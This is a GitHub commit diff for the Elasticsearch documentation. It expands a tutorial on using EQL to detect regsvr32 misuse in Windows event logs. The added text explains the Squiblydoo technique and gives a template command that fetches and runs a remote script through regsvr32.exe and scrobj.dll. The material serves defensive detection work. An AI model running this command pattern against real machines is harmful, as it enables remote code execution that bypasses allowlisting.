Skip to content

Commit b2db11d

Browse files
authored
[7.9] [DOCS] EQL: Improve regsvr32 misuse explanation (#62722) (#62739)
* [DOCS] EQL: Improve regsvr32 misuse explanation (#62722) Expands the introduction to better explain what regsvr32 misuse is and how it works at a high level. * [DOCS] EQL: Style fixes
1 parent 11af873 commit b2db11d

File tree

1 file changed

+28
-15
lines changed

1 file changed

+28
-15
lines changed

docs/reference/eql/detect-threats-with-eql.asciidoc

Lines changed: 28 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -6,23 +6,37 @@
66
experimental::[]
77

88
This example tutorial shows you how you can use EQL to detect security threats
9-
and other suspicious behavior.
9+
and other suspicious behavior. In the scenario, you're tasked with detecting
10+
https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows
11+
event logs.
12+
13+
`regsvr32.exe` is a built-in command-line utility used to register `.dll`
14+
libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status in
15+
Windows, letting it bypass most allowlist software and script blockers.
16+
Attackers with access to a user's command line can use `regsvr32.exe` to run
17+
malicious scripts using `.dll` libraries, even on machines that otherwise
18+
disallow such scripts.
19+
20+
One common variant of regsvr32 misuse is a
21+
https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
22+
Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
23+
register and run a remote script. These commands often look like this:
1024

11-
In the scenario, you're tasked with detecting
12-
https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
13-
logs. `regsvr32` misuse is a known adversary technique documented in the
14-
https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
25+
[source,sh]
26+
----
27+
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
28+
----
1529

1630
[discrete]
1731
[[eql-ex-threat-detection-setup]]
1832
=== Setup
1933

20-
This tutorial uses a test dataset for `regsvr32` misuse from
34+
This tutorial uses a test dataset for regsvr32 misuse from
2135
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
2236
been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
2337
Schema (ECS)], including the `@timestamp` and `event.category` fields. The
24-
dataset includes events that imitate behaviors related to `regsvr32` misuse, as
25-
documented by MITRE ATT&CK®.
38+
dataset includes events that imitate behaviors of a Squiblydoo attack, as
39+
documented by the https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
2640

2741
To get started, download and index the dataset:
2842

@@ -58,9 +72,9 @@ yellow open my-index-000001 150
5872

5973
[discrete]
6074
[[eql-ex-get-a-count-of-regsvr32-events]]
61-
=== Get a count of `regsvr32` events
75+
=== Get a count of regsvr32 events
6276

63-
Since you're looking for `regsvr32` misuse, start by getting a count of any
77+
Since you're looking for regsvr32 misuse, start by getting a count of any
6478
events associated with a `regsvr32.exe` process.
6579

6680
The following <<eql-search-api,EQL search API>> request uses an EQL query to
@@ -112,11 +126,11 @@ query.
112126
[[eql-ex-check-for-command-line-artifacts]]
113127
=== Check for command line artifacts
114128

115-
Based on your previous query, you know `regsvr32` processes were associated with
129+
Based on your previous query, you know regsvr32 processes were associated with
116130
143 events. But how was `regsvr32.exe` first called? And who called it?
117131

118-
`regsvr32` is a command-line utility so it may help to narrow your results to
119-
processes where the command line was used.
132+
`regsvr32.exe` is a command-line utility so it may help to narrow your results
133+
to processes where the command line was used.
120134

121135
Update the previous EQL query as follows:
122136

@@ -144,8 +158,7 @@ The query matches one process event. The event has an `event.type` of
144158

145159
Based on the `process.command_line` value in the response, `regsvr32.exe` used
146160
`scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
147-
https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
148-
variant of `regsvr32` misuse.
161+
Squiblydoo attack.
149162

150163
The response also includes other valuable information about how the
151164
`regsvr32.exe` process started, such as the `@timestamp`, the associated

0 commit comments

Comments
 (0)